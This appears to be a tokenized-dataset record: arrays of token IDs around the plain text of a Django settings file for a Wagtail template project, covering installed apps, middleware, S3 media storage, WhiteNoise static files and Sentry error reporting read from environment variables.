70, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 463, 79, 62, 615, 70, 796, 334, 26059, 62, 615, 70, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 83, 13155, 62, 7785, 796, 48265, 62, 7785, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 463, 79, 62, 7785, 796, 334, 26059, 62, 7785, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 49806, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11787, 27914, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 9934, 3275, 628, 220, 220, 220, 632, 3073, 588, 428, 318, 6294, 739, 1115, 3403, 492, 628, 220, 220, 220, 1635, 1649, 257, 2836, 22837, 82, 393, 14754, 4637, 628, 220, 220, 220, 220, 220, 220, 220, 1635, 1635, 74, 15799, 9, 481, 307, 6045, 287, 326, 1339, 628, 220, 220, 220, 1635, 1649, 257, 2836, 318, 12165, 628, 220, 220, 220, 220, 220, 220, 220, 1635, 1635, 74, 15799, 9, 481, 307, 900, 290, 3958, 481, 307, 10352, 628, 220, 220, 220, 1635, 1649, 257, 2836, 318, 9301, 628, 220, 220, 220, 220, 220, 220, 220, 1635, 1635, 74, 15799, 9, 481, 307, 900, 290, 3958, 481, 307, 6407, 628, 220, 220, 220, 770, 991, 4433, 617, 517, 2267, 11, 262, 337, 10344, 34165, 389, 12659, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 16926, 46, 25, 10133, 428, 2205, 8841, 618, 356, 821, 517, 1654, 286, 340, 628, 220, 220, 220, 6246, 796, 13538, 220, 1303, 23575, 4522, 198, 220, 220, 220, 8674, 796, 13538, 220, 1303, 23575, 4522, 198, 220, 220, 220, 2836, 796, 6045, 220, 1303, 11787, 2134, 198, 220, 220, 220, 38297, 796, 6045, 220, 1303, 11787, 2134, 198, 220, 220, 220, 1738, 796, 13538, 220, 1303, 23219, 198, 220, 220, 220, 3958, 796, 10352, 220, 1303, 6407, 611, 9301, 11, 3991, 611, 12165, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 6246, 11, 8674, 11, 2836, 11, 1738, 11, 3958, 11, 38297, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 13345, 263, 796, 24955, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 29891, 796, 6246, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11218, 796, 8674, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7220, 796, 2836, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 41181, 796, 1738, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 3820, 796, 3958, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 74, 15799, 796, 38297, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 12982, 27914, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 16185, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16185, 3275, 532, 34099, 618, 356, 651, 257, 3275, 326, 2125, 470, 1541, 198, 220, 220, 220, 12118, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 2099, 796, 13538, 198, 220, 220, 220, 3275, 796, 6045, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 2170, 11, 3275, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 4906, 796, 2170, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 20500, 796, 3275, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 20035, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11787, 24363, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 4654, 532, 11352, 618, 257, 2836, 15449, 262, 4382, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 2836, 796, 6045, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 2836, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7220, 796, 2836, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 12982, 24363, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11787, 44, 2668, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 3888, 532, 11352, 618, 257, 2836, 6100, 6518, 11, 393, 318, 3888, 628, 220, 220, 220, 770, 318, 635, 6294, 618, 257, 2836, 20417, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 2836, 796, 6045, 198, 220, 220, 220, 6518, 796, 6045, 198, 220, 220, 220, 1468, 62, 17620, 796, 6045, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 2836, 11, 6518, 11, 1468, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7220, 796, 2836, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 17620, 796, 6518, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 727, 62, 17620, 796, 1468, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 12982, 44, 2668, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11787, 9012, 51, 20258, 9237, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 7308, 1398, 329, 2995, 326, 389, 2391, 2836, 1181, 284, 32723, 628, 220, 220, 220, 2094, 470, 779, 428, 3264, 26, 16955, 340, 0, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 2836, 796, 6045, 198, 220, 220, 220, 1181, 796, 10352, 198, 220, 220, 220, 8674, 796, 6045, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 2836, 11, 1181, 11, 8674, 28, 14202, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7220, 796, 2836, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 5219, 796, 1181, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11218, 796, 8674, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 12982, 9012, 51, 20258, 9237, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11787, 44, 1133, 51, 20258, 7, 12982, 9012, 51, 20258, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 38723, 19846, 532, 11352, 618, 257, 2836, 318, 38952, 393, 21303, 7241, 357, 4360, 407, 416, 198, 220, 220, 220, 2405, 8, 628, 220, 220, 220, 1181, 25, 6407, 611, 38952, 11, 10352, 611, 21303, 7241, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1208, 628, 198, 4871, 11787, 5005, 1878, 51, 20258, 7, 12982, 9012, 51, 20258, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 21815, 19846, 532, 11352, 618, 257, 2836, 318, 21815, 2945, 393, 44192, 1878, 2945, 357, 4360, 407, 198, 220, 220, 220, 416, 2405, 8, 628, 220, 220, 220, 1181, 25, 6407, 611, 21815, 2945, 11, 10352, 611, 44192, 1878, 2945, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1208, 628, 198, 4871, 11787, 15979, 2234, 51, 20258, 7, 12982, 9012, 51, 20258, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 22711, 19846, 532, 11352, 618, 257, 2836, 318, 25822, 393, 198, 220, 220, 220, 555, 18608, 2790, 628, 220, 220, 220, 1181, 25, 6407, 611, 25822, 11, 10352, 611, 555, 18608, 2790, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1208, 628, 198, 4871, 11787, 24704, 44, 1133, 51, 20258, 7, 12982, 9012, 51, 20258, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 38723, 19846, 532, 11352, 618, 257, 2836, 318, 38952, 393, 21303, 7241, 416, 198, 220, 220, 220, 2405, 628, 220, 220, 220, 1181, 25, 6407, 611, 38952, 11, 10352, 611, 21303, 7241, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1208, 628, 198, 4871, 11787, 24704, 5005, 1878, 51, 20258, 7, 12982, 9012, 51, 20258, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 21815, 19846, 532, 11352, 618, 257, 2836, 318, 21815, 2945, 393, 44192, 1878, 2945, 416, 198, 220, 220, 220, 2405, 628, 220, 220, 220, 1181, 25, 6407, 611, 21815, 2945, 11, 10352, 611, 44192, 1878, 2945, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1208, 628, 198, 4871, 11787, 22442, 414, 5248, 3110, 51, 20258, 7, 12982, 9012, 51, 20258, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 34416, 10834, 19846, 532, 11352, 618, 257, 2836, 318, 900, 355, 8475, 10834, 628, 220, 220, 220, 1181, 25, 6407, 611, 900, 11, 10352, 611, 555, 2617, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1208, 628, 198, 4871, 11787, 6690, 1284, 51, 20258, 7, 12982, 9012, 51, 20258, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 43905, 19846, 532, 11352, 618, 257, 2836, 4940, 393, 9911, 8296, 628, 220, 220, 220, 1181, 25, 6407, 611, 2067, 11, 10352, 611, 5025, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1208, 628, 198, 4871, 11787, 29668, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 9756, 6153, 628, 220, 220, 220, 2836, 25, 11787, 3025, 9756, 423, 587, 6153, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 2836, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7220, 796, 2836, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 12982, 29668, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11787, 47473, 9237, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 7308, 1398, 329, 2836, 685, 403, 60, 33736, 2995, 628, 220, 220, 220, 2094, 470, 779, 428, 3264, 26, 16955, 340, 0, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 2836, 11, 2836, 62, 312, 11, 8674, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7220, 796, 2836, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7220, 62, 312, 796, 2836, 62, 312, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11218, 796, 8674, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 12982, 47473, 9237, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11787, 47473, 7, 12982, 47473, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 6823, 628, 220, 220, 220, 2836, 25, 11787, 508, 468, 587, 6823, 198, 220, 220, 220, 2836, 62, 312, 25, 11787, 338, 649, 4522, 198, 220, 220, 220, 8674, 25, 11787, 508, 6823, 4600, 7220, 63, 198, 220, 220, 220, 37227, 628, 198, 4871, 11787, 3118, 33736, 7, 12982, 47473, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11787, 555, 33736, 628, 220, 220, 220, 2836, 25, 11787, 508, 468, 587, 555, 33736, 198, 220, 220, 220, 2836, 62, 312, 25, 11787, 338, 1468, 4522, 198, 220, 220, 220, 8674, 25, 11787, 508, 555, 33736, 4600, 7220, 63, 198, 220, 220, 220, 37227, 628, 198, 4871, 11102, 41972, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 968, 6518, 532, 11352, 618, 257, 6518, 318, 2727, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 6518, 796, 6045, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 6518, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 17620, 796, 6518, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 29239, 41972, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11102, 11280, 276, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11102, 2792, 2087, 532, 11352, 618, 734, 9619, 389, 6692, 1978, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 422, 62, 17620, 796, 6045, 198, 220, 220, 220, 284, 62, 17620, 796, 6045, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 422, 62, 11, 284, 62, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6738, 62, 17620, 796, 422, 62, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1462, 62, 17620, 796, 284, 62, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 29239, 11280, 276, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 11102, 3118, 25614, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11102, 2792, 4615, 532, 11352, 618, 734, 9619, 423, 511, 2792, 4615, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 422, 62, 17620, 796, 6045, 198, 220, 220, 220, 284, 62, 17620, 796, 6045, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 422, 62, 11, 284, 62, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6738, 62, 17620, 796, 422, 62, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1462, 62, 17620, 796, 284, 62, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 29239, 3118, 25614, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 198 ]
2.515043
4,188
""" Django settings for wagtail_template project. Generated by 'django-admin startproject' using Django 4.0.3. For more information on this file, see https://docs.djangoproject.com/en/4.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/4.0/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os import dj_database_url PROJECT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) BASE_DIR = os.path.dirname(PROJECT_DIR) # Django env DJANGO_ENV = os.environ.get("DJANGO_ENV", "production") # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ # Application definition INSTALLED_APPS = [ "wagtail_template.home", "wagtail_template.search", "wagtail_template.utils", # Simplified static file serving # https://devcenter.heroku.com/articles/django-assets # https://warehouse.python.org/project/whitenoise/ "whitenoise", "wagtail.contrib.forms", "wagtail.contrib.redirects", "wagtail.embeds", "wagtail.sites", "wagtail.users", "wagtail.snippets", "wagtail.documents", "wagtail.images", "wagtail.search", "wagtail.admin", "wagtail.core", "django_extensions", "modelcluster", "taggit", "django.contrib.admin", "django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.messages", "django.contrib.staticfiles", ] MIDDLEWARE = [ "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.common.CommonMiddleware", "django.middleware.csrf.CsrfViewMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware", "django.contrib.messages.middleware.MessageMiddleware", "django.middleware.clickjacking.XFrameOptionsMiddleware", "django.middleware.security.SecurityMiddleware", # Simplified static file serving # https://devcenter.heroku.com/articles/django-assets # https://warehouse.python.org/project/whitenoise/ "whitenoise.middleware.WhiteNoiseMiddleware", "wagtail.contrib.redirects.middleware.RedirectMiddleware", ] ROOT_URLCONF = "wagtail_template.urls" TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", "DIRS": [ os.path.join(PROJECT_DIR, "templates"), ], "APP_DIRS": True, "OPTIONS": { "context_processors": [ "django.template.context_processors.debug", "django.template.context_processors.request", "django.contrib.auth.context_processors.auth", "django.contrib.messages.context_processors.messages", ], }, }, ] WSGI_APPLICATION = "wagtail_template.wsgi.application" # Database # https://docs.djangoproject.com/en/4.0/ref/settings/#databases if "DATABASE_URL" in os.environ: DATABASES = { "default": dj_database_url.parse(os.environ["DATABASE_URL"]), } # Password validation # https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", }, { "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", }, { "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", }, { "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, ] # Internationalization # https://docs.djangoproject.com/en/4.0/topics/i18n/ LANGUAGE_CODE = "en-us" TIME_ZONE = "UTC" USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/4.0/howto/static-files/ STATICFILES_FINDERS = [ "django.contrib.staticfiles.finders.FileSystemFinder", "django.contrib.staticfiles.finders.AppDirectoriesFinder", ] STATICFILES_DIRS = [ os.path.join(PROJECT_DIR, "static"), ] # Simplified static file serving # https://devcenter.heroku.com/articles/django-assets # https://warehouse.python.org/project/whitenoise/ STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" STATIC_ROOT = os.path.join(BASE_DIR, "staticfiles") STATIC_URL = "/static/" # Media storage if aws_storage_bucket_name := os.getenv("AWS_STORAGE_BUCKET_NAME"): AWS_STORAGE_BUCKET_NAME = aws_storage_bucket_name DEFAULT_FILE_STORAGE = "storages.backends.s3boto3.S3Boto3Storage" AWS_ACCESS_KEY_ID = os.getenv("AWS_ACCESS_KEY_ID") AWS_SECRET_ACCESS_KEY = os.getenv("AWS_SECRET_ACCESS_KEY") AWS_S3_REGION_NAME = os.getenv("AWS_S3_REGION_NAME") AWS_S3_CUSTOM_DOMAIN = os.getenv("AWS_S3_CUSTOM_DOMAIN") AWS_LOCATION = os.getenv("AWS_LOCATION", "") # Lines below this are likely only relevant for using Minio locally AWS_S3_ENDPOINT_URL = os.getenv("AWS_S3_ENDPOINT_URL") AWS_S3_USE_SSL = os.getenv("AWS_S3_USE_SSL", "true").lower() == "true" AWS_S3_SECURE_URLS = os.getenv("AWS_S3_USE_SSL", "true").lower() == "true" # Wagtail settings WAGTAIL_SITE_NAME = "wagtail_template" # Search # https://docs.wagtail.org/en/stable/topics/search/backends.html WAGTAILSEARCH_BACKENDS = { "default": { "BACKEND": "wagtail.search.backends.database", } } # Base URL to use when referring to full URLs within the Wagtail admin backend - # e.g. in notification emails. Don't include '/admin' or a trailing slash BASE_URL = os.getenv("BASE_URL", "") ALLOWED_HOSTS = os.getenv("ALLOWED_HOSTS", "").split(",") SECRET_KEY = os.getenv("SECRET_KEY", "") # Error reporting # https://docs.sentry.io/platforms/python/guides/django/ # https://glitchtip.com/sdkdocs/python-django if sentry_dsn := os.getenv("SENTRY_DSN"): import sentry_sdk from sentry_sdk.integrations.django import DjangoIntegration from sentry_sdk.utils import get_default_release SENTRY_ENVIRONMENT = DJANGO_ENV # Attempt to get release version from Sentry's utils and a couple other environment variables SENTRY_ARGS = { "dsn": sentry_dsn, "integrations": [DjangoIntegration()], "environment": SENTRY_ENVIRONMENT, "release": get_release_version(), "traces_sample_rate": 0.01, } # Auto session tracking is not supported by GlitchTip if "sentry.io" in sentry_dsn: SENTRY_ARGS["auto_session_tracking"] = True else: SENTRY_ARGS["auto_session_tracking"] = False sentry_sdk.init(**SENTRY_ARGS) # Enables URL to test Sentry integration ENABLE_SENTRY_TEST_URL = ( os.environ.get("ENABLE_SENTRY_TEST_URL", "false").lower() == "true" )
[ 37811, 198, 35, 73, 14208, 6460, 329, 266, 363, 13199, 62, 28243, 1628, 13, 198, 198, 8645, 515, 416, 705, 28241, 14208, 12, 28482, 923, 16302, 6, 1262, 37770, 604, 13, 15, 13, 18, 13, 198, 198, 1890, 517, 1321, 319, 428, 2393, 11, 766, 198, 5450, 1378, 31628, 13, 28241, 648, 404, 305, 752, 13, 785, 14, 268, 14, 19, 13, 15, 14, 4852, 873, 14, 33692, 14, 198, 198, 1890, 262, 1336, 1351, 286, 6460, 290, 511, 3815, 11, 766, 198, 5450, 1378, 31628, 13, 28241, 648, 404, 305, 752, 13, 785, 14, 268, 14, 19, 13, 15, 14, 5420, 14, 33692, 14, 198, 37811, 198, 198, 2, 10934, 13532, 2641, 262, 1628, 588, 428, 25, 28686, 13, 6978, 13, 22179, 7, 33, 11159, 62, 34720, 11, 2644, 8, 198, 11748, 28686, 198, 198, 11748, 42625, 62, 48806, 62, 6371, 198, 198, 31190, 23680, 62, 34720, 796, 28686, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 397, 2777, 776, 7, 834, 7753, 834, 22305, 198, 33, 11159, 62, 34720, 796, 28686, 13, 6978, 13, 15908, 3672, 7, 31190, 23680, 62, 34720, 8, 198, 198, 2, 37770, 17365, 198, 35028, 1565, 11230, 62, 1677, 53, 796, 28686, 13, 268, 2268, 13, 1136, 7203, 35028, 1565, 11230, 62, 1677, 53, 1600, 366, 25493, 4943, 628, 198, 2, 12029, 12, 9688, 2478, 6460, 532, 48092, 4674, 329, 3227, 198, 2, 4091, 3740, 1378, 31628, 13, 28241, 648, 404, 305, 752, 13, 785, 14, 268, 14, 19, 13, 15, 14, 4919, 1462, 14, 2934, 1420, 434, 14, 9122, 4868, 14, 628, 198, 2, 15678, 6770, 198, 198, 38604, 7036, 1961, 62, 2969, 3705, 796, 685, 198, 220, 220, 220, 366, 86, 363, 13199, 62, 28243, 13, 11195, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 62, 28243, 13, 12947, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 62, 28243, 13, 26791, 1600, 198, 220, 220, 220, 1303, 45157, 1431, 9037, 2393, 7351, 198, 220, 220, 220, 1303, 3740, 1378, 7959, 16159, 13, 11718, 23063, 13, 785, 14, 26845, 14, 28241, 14208, 12, 19668, 198, 220, 220, 220, 1303, 3740, 1378, 1574, 4803, 13, 29412, 13, 2398, 14, 16302, 14, 1929, 270, 23397, 786, 14, 198, 220, 220, 220, 366, 1929, 270, 23397, 786, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 3642, 822, 13, 23914, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 3642, 822, 13, 445, 1060, 82, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 20521, 82, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 49315, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 18417, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 16184, 3974, 1039, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 15390, 2886, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 17566, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 12947, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 28482, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 7295, 1600, 198, 220, 220, 220, 366, 28241, 14208, 62, 2302, 5736, 1600, 198, 220, 220, 220, 366, 19849, 565, 5819, 1600, 198, 220, 220, 220, 366, 83, 9460, 270, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 28482, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 18439, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 11299, 19199, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 82, 6202, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 37348, 1095, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 12708, 16624, 1600, 198, 60, 198, 198, 44, 2389, 35, 2538, 33746, 796, 685, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 82, 6202, 13, 27171, 1574, 13, 36044, 34621, 1574, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 27171, 1574, 13, 11321, 13, 17227, 34621, 1574, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 27171, 1574, 13, 6359, 41871, 13, 34, 27891, 69, 7680, 34621, 1574, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 18439, 13, 27171, 1574, 13, 47649, 3299, 34621, 1574, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 37348, 1095, 13, 27171, 1574, 13, 12837, 34621, 1574, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 27171, 1574, 13, 12976, 73, 5430, 13, 55, 19778, 29046, 34621, 1574, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 27171, 1574, 13, 12961, 13, 24074, 34621, 1574, 1600, 198, 220, 220, 220, 1303, 45157, 1431, 9037, 2393, 7351, 198, 220, 220, 220, 1303, 3740, 1378, 7959, 16159, 13, 11718, 23063, 13, 785, 14, 26845, 14, 28241, 14208, 12, 19668, 198, 220, 220, 220, 1303, 3740, 1378, 1574, 4803, 13, 29412, 13, 2398, 14, 16302, 14, 1929, 270, 23397, 786, 14, 198, 220, 220, 220, 366, 1929, 270, 23397, 786, 13, 27171, 1574, 13, 12256, 2949, 786, 34621, 1574, 1600, 198, 220, 220, 220, 366, 86, 363, 13199, 13, 3642, 822, 13, 445, 1060, 82, 13, 27171, 1574, 13, 7738, 1060, 34621, 1574, 1600, 198, 60, 198, 198, 13252, 2394, 62, 4261, 5639, 1340, 37, 796, 366, 86, 363, 13199, 62, 28243, 13, 6371, 82, 1, 198, 198, 51, 3620, 6489, 29462, 796, 685, 198, 220, 220, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 31098, 10619, 1298, 366, 28241, 14208, 13, 28243, 13, 1891, 2412, 13, 28241, 14208, 13, 35, 73, 14208, 12966, 17041, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 34720, 50, 1298, 685, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 6978, 13, 22179, 7, 31190, 23680, 62, 34720, 11, 366, 11498, 17041, 12340, 198, 220, 220, 220, 220, 220, 220, 220, 16589, 198, 220, 220, 220, 220, 220, 220, 220, 366, 24805, 62, 34720, 50, 1298, 6407, 11, 198, 220, 220, 220, 220, 220, 220, 220, 366, 3185, 51, 11053, 1298, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 22866, 62, 14681, 669, 1298, 685, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 28241, 14208, 13, 28243, 13, 22866, 62, 14681, 669, 13, 24442, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 28241, 14208, 13, 28243, 13, 22866, 62, 14681, 669, 13, 25927, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 18439, 13, 22866, 62, 14681, 669, 13, 18439, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 